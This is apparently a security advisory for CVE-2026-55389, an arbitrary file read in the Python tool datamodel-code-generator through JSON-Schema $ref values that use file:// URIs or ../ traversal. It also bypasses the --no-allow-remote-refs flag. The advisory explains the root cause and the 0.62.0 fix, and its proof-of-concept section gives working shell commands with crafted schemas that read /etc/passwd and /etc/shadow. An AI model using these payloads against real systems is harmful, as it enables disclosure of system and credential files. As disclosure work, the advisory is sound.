high · 7.5CVE-2026-55389Jul 28, 2026

CVE-2026-55389: datamodel-code-generator Arbitrary File Read via JSON-Schema $ref

Rohit Hatagale
AI Security Researcher, SecureLayer7

An attacker who supplies a crafted JSON Schema can read any file on the server by using a file:// or ../ reference inside a $ref field, bypassing the --no-allow-remote-refs security control entirely.

Packagedatamodel-code-generator
Ecosystempip
Affected<= 0.61.0
Fixed in0.62.0
CVE-2026-55389: datamodel-code-generator Arbitrary File Read via JSON-Schema $ref

The problem

datamodel-code-generator resolves JSON-Schema $ref values that point at the local filesystem without confining them to the input base directory. Two vectors exist: a file:// absolute URI and a ../-escaped relative reference.

Both vectors work even when --no-allow-remote-refs is set, because the remote-ref gate explicitly skips file:// URIs. The process opens the target file with no containment check, giving an attacker three distinguishable outcomes they can use as a filesystem oracle: file read (type error on parse), file missing (FileNotFoundError), or file unreadable (PermissionError).

When the referenced node is schema-shaped, values in const, default, enum, or description positions are emitted verbatim into the generated Python output.

Proof of concept

A working proof-of-concept for CVE-2026-55389 in datamodel-code-generator, with the exact payload below.

bash
# Vector 1: file:// absolute read (any path)
printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --output o.py
# -> TypeError: Expected dict, got str  => /etc/passwd was opened and read.

# Vector 2: ../ relative traversal outside base dir
printf '{"type":"object","properties":{"x":{"$ref":"../../../../../../etc/shadow"}}}' > probe2.json
datamodel-codegen --input probe2.json --input-file-type jsonschema --output o.py
# -> FileNotFoundError path leaks absolute resolved path (filesystem oracle)

# Vector 3: --no-allow-remote-refs bypass (flag has no effect on file://)
printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --no-allow-remote-refs --output o.py
# -> Still reads /etc/passwd. Gate is bypassed.

The root cause is in two places. First, is_url() classifies file:// as a URL, and the remote-ref gate then exempts it with if not resolved_ref.startswith('file://'), so --no-allow-remote-refs never fires for local file URIs. Second, _get_ref_body_from_url calls url2pathname(urlparse(ref).path) to get an absolute path and reads it with no bounds check, while _get_ref_body_from_remote computes full_path = self.base_path / resolved_ref with no is_relative_to(base_path) guard.

The HTTP-local-ref branch (_get_ref_body_from_local_http_path) already enforced is_relative_to(base_path) correctly. The filesystem branches never did. The patch in 0.62.0 removes the file:// exemption from the remote-ref gate and adds is_relative_to(base_path) checks to both filesystem branches, mirroring the existing HTTP guard.

CWE-22 (Path Traversal) and CWE-200 (Information Disclosure).

The fix

Upgrade to datamodel-code-generator 0.62.0. The fix (commit 2ff4a72b4550a2b2069754c5b075b1655067e5fb) applies the allow_remote_refs gate to file:// URIs and adds is_relative_to(base_path) containment checks to both _get_ref_body_from_url and _get_ref_body_from_remote.

In 0.62.0, --no-allow-remote-refs correctly blocks these references. The default mode emits a FutureWarning for out-of-tree local refs; pass --allow-remote-refs only if you intentionally trust external local schemas.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research